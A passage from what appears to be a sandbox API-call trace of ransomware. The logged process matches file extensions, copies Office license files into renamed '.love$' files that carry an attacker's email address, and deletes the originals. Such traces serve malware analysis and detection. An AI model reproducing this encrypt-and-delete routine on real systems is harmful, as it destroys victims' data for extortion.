lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.246] lstrlenW (lpString=".zip") returned 4 [0257.246] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString=".rar") returned 4 [0257.246] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString=".bz2") returned 4 [0257.246] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString=".7z") returned 3 [0257.246] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.246] lstrlenW (lpString=".dbf") returned 4 [0257.246] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.246] lstrlenW (lpString=".1cd") returned 4 [0257.246] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.246] lstrlenW (lpString=".jpg") returned 4 [0257.246] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.246] lstrlenW (lpString=".doc") returned 4 [0257.246] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.246] lstrlenW (lpString=".docx") returned 5 [0257.246] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.246] lstrlenW (lpString=".pdf") returned 4 [0257.246] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString=".xls") returned 4 [0257.247] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString=".xlsx") returned 5 [0257.247] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.247] lstrlenW (lpString=".ppt") returned 4 [0257.247] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.247] lstrlenW (lpString=".zip") returned 4 [0257.247] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString=".rar") returned 4 [0257.247] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString=".bz2") returned 4 [0257.247] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString=".7z") returned 3 [0257.247] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.247] lstrlenW (lpString=".dbf") returned 4 [0257.247] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.247] lstrlenW (lpString=".1cd") returned 4 [0257.247] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms") returned 72 [0257.247] lstrlenW (lpString=".jpg") returned 4 [0257.247] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.247] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.247] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27 [0257.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0257.249] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=3103) returned 1 [0257.250] CloseHandle (hObject=0x3f4) returned 1 [0257.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0257.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0257.250] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.250] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0257.252] GetLastError () returned 0x0 [0257.252] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0xc1f, lpOverlapped=0x0) returned 1 [0257.377] WriteFile (in: hFile=0x4e4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0xc20, lpOverlapped=0x0) returned 1 [0257.378] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0257.379] WriteFile (in: hFile=0x4e4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10a, lpOverlapped=0x0) returned 1 [0257.379] SetEndOfFile (hFile=0x4e4) returned 1 [0257.379] CloseHandle (hObject=0x4e4) returned 1 [0257.379] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.379] SetEndOfFile (hFile=0x3f4) returned 1 [0257.461] CloseHandle (hObject=0x3f4) returned 1 [0257.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0257.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.463] lstrlenW (lpString=".doc") returned 4 [0257.463] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.463] lstrlenW (lpString=".docx") returned 5 [0257.463] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.463] lstrlenW (lpString=".pdf") returned 4 [0257.463] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.463] lstrlenW (lpString=".xls") returned 4 [0257.463] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.463] lstrlenW (lpString=".xlsx") returned 5 [0257.463] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.463] lstrlenW (lpString=".ppt") returned 4 [0257.463] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.463] lstrlenW (lpString=".zip") returned 4 [0257.463] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.463] lstrlenW (lpString=".rar") returned 4 [0257.463] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.463] lstrlenW (lpString=".bz2") returned 4 [0257.463] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.463] lstrlenW (lpString=".7z") returned 3 [0257.464] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.464] lstrlenW (lpString=".dbf") returned 4 [0257.464] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.464] lstrlenW (lpString=".1cd") returned 4 [0257.464] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.464] lstrlenW (lpString=".jpg") returned 4 [0257.464] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.464] lstrlenW (lpString=".doc") returned 4 [0257.464] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.464] lstrlenW (lpString=".docx") returned 5 [0257.464] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.464] lstrlenW (lpString=".pdf") returned 4 [0257.464] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.464] lstrlenW (lpString=".xls") returned 4 [0257.464] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.464] lstrlenW (lpString=".xlsx") returned 5 [0257.464] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.464] lstrlenW (lpString=".ppt") returned 4 [0257.464] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.465] lstrlenW (lpString=".zip") returned 4 [0257.465] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.465] lstrlenW (lpString=".rar") returned 4 [0257.465] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.465] lstrlenW (lpString=".bz2") returned 4 [0257.465] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.465] lstrlenW (lpString=".7z") returned 3 [0257.465] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.465] lstrlenW (lpString=".dbf") returned 4 [0257.465] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.465] lstrlenW (lpString=".1cd") returned 4 [0257.465] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms") returned 77 [0257.465] lstrlenW (lpString=".jpg") returned 4 [0257.465] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.465] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.465] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29 [0257.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0257.467] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=4392) returned 1 [0257.468] CloseHandle (hObject=0x3f4) returned 1 [0257.468] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0257.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0257.485] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.487] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0257.763] GetLastError () returned 0x0 [0257.763] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x1128, lpOverlapped=0x0) returned 1 [0257.832] WriteFile (in: hFile=0x4e4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x1130, lpOverlapped=0x0) returned 1 [0257.833] ReadFile (in: hFile=0x3f4, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0257.833] WriteFile (in: hFile=0x4e4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x10e, lpOverlapped=0x0) returned 1 [0257.833] SetEndOfFile (hFile=0x4e4) returned 1 [0257.833] CloseHandle (hObject=0x4e4) returned 1 [0257.833] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.833] SetEndOfFile (hFile=0x3f4) returned 1 [0257.839] CloseHandle (hObject=0x3f4) returned 1 [0257.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0257.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.848] lstrlenW (lpString=".doc") returned 4 [0257.848] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.848] lstrlenW (lpString=".docx") returned 5 [0257.848] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.848] lstrlenW (lpString=".pdf") returned 4 [0257.848] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.848] lstrlenW (lpString=".xls") returned 4 [0257.848] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.848] lstrlenW (lpString=".xlsx") returned 5 [0257.848] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.848] lstrlenW (lpString=".ppt") returned 4 [0257.848] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.848] lstrlenW (lpString=".zip") returned 4 [0257.848] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.848] lstrlenW (lpString=".rar") returned 4 [0257.848] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.848] lstrlenW (lpString=".bz2") returned 4 [0257.849] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.849] lstrlenW (lpString=".7z") returned 3 [0257.849] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.849] lstrlenW (lpString=".dbf") returned 4 [0257.849] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.849] lstrlenW (lpString=".1cd") returned 4 [0257.849] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.849] lstrlenW (lpString=".jpg") returned 4 [0257.849] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.849] lstrlenW (lpString=".doc") returned 4 [0257.849] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.849] lstrlenW (lpString=".docx") returned 5 [0257.850] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.850] lstrlenW (lpString=".pdf") returned 4 [0257.850] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString=".xls") returned 4 [0257.850] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString=".xlsx") returned 5 [0257.850] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.850] lstrlenW (lpString=".ppt") returned 4 [0257.850] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.850] lstrlenW (lpString=".zip") returned 4 [0257.850] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString=".rar") returned 4 [0257.850] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString=".bz2") returned 4 [0257.850] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString=".7z") returned 3 [0257.850] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.850] lstrlenW (lpString=".dbf") returned 4 [0257.850] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.850] lstrlenW (lpString=".1cd") returned 4 [0257.850] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0257.850] lstrlenW (lpString=".jpg") returned 4 [0257.850] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.850] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.850] lstrlenW (lpString="ExcelR_Grace-ul-oob.xrm-ms") returned 26 [0257.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0257.852] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11589) returned 1 [0257.852] CloseHandle (hObject=0x534) returned 1 [0257.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 0x220 [0257.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0257.852] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.852] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0257.853] GetLastError () returned 0x0 [0257.853] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d45, lpOverlapped=0x0) returned 1 [0257.937] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d50, lpOverlapped=0x0) returned 1 [0257.940] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0257.940] WriteFile (in: hFile=0x3f4, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x108, lpOverlapped=0x0) returned 1 [0257.940] SetEndOfFile (hFile=0x3f4) returned 1 [0257.941] CloseHandle (hObject=0x3f4) returned 1 [0257.941] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0257.941] SetEndOfFile (hFile=0x534) returned 1 [0257.976] CloseHandle (hObject=0x534) returned 1 [0257.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ul-oob.xrm-ms")) returned 1 [0258.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.104] lstrlenW (lpString=".doc") returned 4 [0258.104] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0258.104] lstrlenW (lpString=".docx") returned 5 [0258.104] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0258.104] lstrlenW (lpString=".pdf") returned 4 [0258.104] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0258.104] lstrlenW (lpString=".xls") returned 4 [0258.104] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0258.104] lstrlenW (lpString=".xlsx") returned 5 [0258.104] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0258.104] lstrlenW (lpString=".ppt") returned 4 [0258.104] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0258.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ul-oob.xrm-ms") returned 76 [0258.104] lstrlenW (lpString=".zip") returned 4 [0258.104] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0258.104] lstrlenW (lpString=".rar") returned 